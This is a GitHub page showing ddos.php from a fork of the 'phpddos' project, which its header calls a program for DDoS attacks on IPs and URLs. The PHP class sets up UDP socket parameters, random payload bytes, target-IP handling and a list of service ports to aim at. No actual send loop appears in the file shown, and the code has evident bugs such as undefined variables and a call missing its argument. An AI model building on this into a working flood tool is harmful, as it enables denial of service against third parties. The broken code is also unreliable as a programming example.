forked from makdosx/phpddos
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathddos.php
626 lines (341 loc) · 13.5 KB
/
ddos.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
<?php
/*
* Copyright (c) 2017 Barchampas Gerasimos <[email protected]>
* Phpddos is a program for ddos attack (ip, url).
*
* Phpddos is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
*
* Phpddos is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License, version 3,
* along with this program. If not, see <http://www.gnu.org/licenses/>
*
*/
define('ENOTSOCK', 88); /* Socket operation on non-socket */
define('EDESTADDRREQ', 89); /* Destination address required */
define('EMSGSIZE', 90); /* Message too long */
define('EPROTOTYPE', 91); /* Protocol wrong type for socket */
define('ENOPROTOOPT', 92); /* Protocol not available */
define('EPROTONOSUPPORT', 93); /* Protocol not supported */
define('ESOCKTNOSUPPORT', 94); /* Socket type not supported */
define('EOPNOTSUPP', 95); /* Operation not supported on transport endpoint */
define('EPFNOSUPPORT', 96); /* Protocol family not supported */
define('EAFNOSUPPORT', 97); /* Address family not supported by protocol */
define('EADDRINUSE', 98); /* Address already in use */
define('EADDRNOTAVAIL', 99); /* Cannot assign requested address */
define('ENETDOWN', 100); /* Network is down */
define('ENETUNREACH', 101); /* Network is unreachable */
define('ENETRESET', 102); /* Network dropped connection because of reset */
define('ECONNABORTED', 103); /* Software caused connection abort */
define('ECONNRESET', 104); /* Connection reset by peer */
define('ENOBUFS', 105); /* No buffer space available */
define('EISCONN', 106); /* Transport endpoint is already connected */
define('ENOTCONN', 107); /* Transport endpoint is not connected */
define('ESHUTDOWN', 108); /* Cannot send after transport endpoint shutdown */
define('ETOOMANYREFS', 109); /* Too many references: cannot splice */
define('ETIMEDOUT', 110); /* Connection timed out */
define('ECONNREFUSED', 111); /* Connection refused */
define('EHOSTDOWN', 112); /* Host is down */
define('EHOSTUNREACH', 113); /* No route to host */
define('EALREADY', 114); /* Operation already in progress */
define('EINPROGRESS', 115); /* Operation now in progress */
define('EREMOTEIO', 121); /* Remote I/O error */
define('ECANCELED', 125); /* Operation Canceled */
class DDOS_ATTACK
{
/* for flag counter */
var $error_flag = '0';
/* for socket create */
/*
* An indentifier
* IPv4 Internet based protocols
* TCP and UDP are common protocols of this protocol family.
*/
public $param1 = "AF_INET";
/*
* Supports datagrams (connectionless, unreliable messages of a fixed maximum length).
* The UDP protocol is based on this socket type.
*/
public $param2 = "SOCK_DGRAM";
/*
* The User Datagram Protocol is a connectionless, unreliable, protocol with fixed record lengths.
* Due to these aspects, UDP requires a minimum amount of protocol overhead.
*/
public $param3 = "SOL_UDP";
/*
* An indentifier
* error message
*/
private $error_unexpected;
/*
* An indentifier
* parameter definition
*/
public $parameter = array();
public function CONNECT($domain, $type, $protocol)
{
$this->param1 = $domain;
$this->param2 = $type;
$this->param3 = $protocol;
} /* end of function for socket params */
public function SOCKET_DOMAIN()
{
$this->parameter[1] = $this->param1;
if ($this->parameter[1] == true)
{
return $this->parameter[1];
}
else
{
$trace = debug_backtrace();
trigger_error(
'Undefined property via SOCKET_DOMAIN(): ' . $this->parameter[1] .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return (!$this->parameter[1]) .$error_unexpected .$error_flag;
}
} /* end of function for SOCKET_DOMAIN */
public function SOCKET_TYPE()
{
$this->parameter[2] = $this->param2;
if ($this->parameter[2] == true)
{
return $this->parameter[2];
}
else
{
$trace = debug_backtrace();
trigger_error(
'Undefined property via SOCKET_TYPE(): ' . $this->parameter[2] .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return (!$this->parameter[2]) .$error_unexpected .$error_flag;
}
} /* end of function for SOCKET_TYPE */
public function SOCKET_PROTOCOL()
{
$this->parameter[3] = $this->param3;
if ($this->parameter[3] == true)
{
return $this->parameter[3];
}
else
{
$trace = debug_backtrace();
trigger_error(
'Undefined property via SOCKET_PROTOCOL(): ' . $this->parameter[3] .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return (!$this->parameter[3]) .$error_unexpected .$error_flag;
}
} /* end of function for SOCKET_PROTOCOL */
/* for destroyed CONNECT function */
public function DISCONNECT()
{
unset ($this->parameter[1]);
unset ($this->parameter[2]);
unset ($this->parameter[3]);
}
/* for socket send_to */
/* for bufer */
public $buf = array(8 => '00001000' , 16 => '00010000' ,
32 => '00100000' , 256 => '0000000100000000' ,
64 => '01000000' , 128 => '10000000' ,
512 => '0000001000000000' , 1024 => '0000010000000000' ,
2048 => '0000100000000000' , 4096 => '0001000000000000');
/* for bytes send */
/*
* An indentifier
* msg string
*/
public $BYTES = array();
/*
* An indentifier
* error message
*/
private $error_expected = "Bytes error";
public function __construct()
{
$hex = substr(md5(mt_rand()), 0, 9);
$this->BYTES[0] = unpack('H*', "$hex");
$this->BYTES[1] = base_convert($this->BYTES[0][1], 16, 2);
if ($this->BYTES[1] == true)
{
return ($this->BYTES[1][0]);
}
else
{
$trace = debug_backtrace();
trigger_error(
'Undefined property via __construct(): ' . $BYTES .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return (!$this->BYTES[1][0]) .$error_expected .$error_flag;
}
} /* end of function for bytes */
/* for destroyed bytes function */
public function __destruct()
{
unset($this->BYTES);
}
/* for length bytes */
/*
* An indentifier
* length bytes
*/
public $length;
public function LENGTH_BYTES($length)
{
$length = strlen($length);
if ($length == true)
{
return ($length);
}
else
{
$trace = debug_backtrace();
trigger_error(
'Undefined property via LENGTH_BYTES): ' . $length .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE);
return (!$length) .$error_expected .$error_flag;
}
} /* end of function for length bytes */
/* for destroyed LENGTH_BYTES function */
public function DIS_LENGTH_BYTES()
{
unset($length);
}
/* for limit time to send bytes */
/*
* An indentifier
* limit time bytes
*/
const CONSTANT = 0;
function showConstant()
{
echo self::CONSTANT;
}
/* for safe IP input */
/*
* An indentifier
* error message
*/
private $error_ip = 'trigger_error("IP data was not be sent safe", E_USER_NOTICE)';
public function SAFE_INPUT_IP($ip)
{
$ip = htmlspecialchars($ip);
$ip = htmlentities($ip);
$ip = trim($ip);
$ip = stripslashes($ip);
$ip = stripcslashes ($ip);
if ($ip == true)
{
return ($ip);
}
else
{
$trace = debug_backtrace();
return (!$ip) .$error_ip;
}
} /* end of function for safe IP input */
/* for port to send bytes */
/*
* An indentifier port number (List of TCP and UDP port numbers)
*
*
*
* Port TCP UDP Description IANA status
*
* 0 Reserved Reserved Reserved Official
*
* 21 TCP/SCTP Assigned File Transfer Protocol (FTP) control (command) Official
*
* 22 TCP/SCTP UDP Secure Shell (SSH),secure logins, file transfers
* (scp, sftp) and port forwarding Official
*
* 23 TCP Assigned Telnet protocol—unencrypted text communications Official
*
* 25 TCP Assigned Simple Mail Transfer Protocol (SMTP), used for
* email routing between mail servers Official
*
* 53 TCP UDP Domain Name System (DNS) Official
*
* 80 TCP/SCTP UDP Hypertext Transfer Protocol (HTTP) Official
*
* 110 TCP Assigned Post Office Protocol, version 3 (POP3) Official
*
* 143 TCP Assigned Internet Message Access Protocol (IMAP), management
* of electronic mail messages on a server Official
*
* 443 TCP/SCTP Assigned Hypertext Transfer Protocol over TLS/SSL (HTTPS) Official
*
* 465 TCP Authenticated SMTP over TLS/SSL (SMTPS) Unofficial
*
* 587 TCP Assigned email message submission (SMTP) Official
*
* 993 TCP Assigned Internet Message Access Protocol over TLS/SSL (IMAPS) Official
*
* 995 TCP UDP Post Office Protocol 3 over TLS/SSL (POP3S) Official
*
* 1433 TCP UDP Microsoft SQL Server database management system (MSSQL) server Official
*
* 3306 TCP Assigned MySQL database system Official
*
* 3389 TCP UDP Microsoft Terminal Server (RDP) officially registered
* as Windows Based Terminal (WBT) Official
*
* 5631 TCP pcANYWHEREdata, Symantec pcAnywhere (version 7.52 and later) data Official
*
*/
public $port_list = array ('reserved' => '0' , 'ftp' => '21' , 'ssh' => '22' ,
'telnet' => '23' , 'smtp' => '25' , 'dns' => '53' ,
'http' => '80' , 'pop3' => '110' , 'imap' => '143' ,
'https' => '443' , 'smtp/s' => '465' , 'smtp/n' => '587' ,
'imap4' => '993' , 'pop3/s' => '995' , 'sql' => '1433',
'mysql' => '3306' , 'rdp' => '3389' , 'pc/anyware' => '5631');
protected function DEFAULT_PORT($port)
{
$port = $this->port_list['reserved'];
echo $port;
}/* end of function for port number */
/* for destroyed PORT function */
public function DIS_DEFAULT_PORT()
{
unset($port);
unset($port_list);
}
} /* end of class DDOS_ATTACK */
class DDOS_ATTACK_SEND extends DDOS_ATTACK
{
function __construct()
{
parent::__construct();
}
}
class DDOS_ATTACK_SEND_TO extends DDOS_ATTACK
{
public function DEFAULT_PORT($port)
{
parent::DEFAULT_PORT();
}
public function DIS_DEFAULT_PORT()
{
parent::DEFAULT_PORT();
unset($port);
unset($port_list);
}
}
?>